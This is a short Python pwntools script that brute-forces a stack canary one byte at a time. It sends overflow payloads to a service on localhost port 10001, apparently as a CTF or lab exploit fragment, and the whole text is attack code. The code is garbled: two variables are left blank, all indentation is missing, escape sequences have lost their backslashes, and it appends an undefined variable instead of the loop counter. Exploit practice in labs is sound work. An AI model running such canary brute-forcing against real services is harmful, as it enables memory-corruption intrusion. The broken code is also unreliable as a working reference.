from pwn import *
buf_size =
numb =
canary = "x00"
while len(canary) < 8:
for i in range(numb):
io = remote("127.0.0.1", 10001)
io.send("A"*buf_size + canary + chr(i))
io.send('rn')
io.send('rn')
io.send('rn')
try:
io.recv(timeout=10)
canary += chr(x)
except:
continue
finally:
io.close()
#log.info("canary: 0x%s" % canary.encode('hex'))



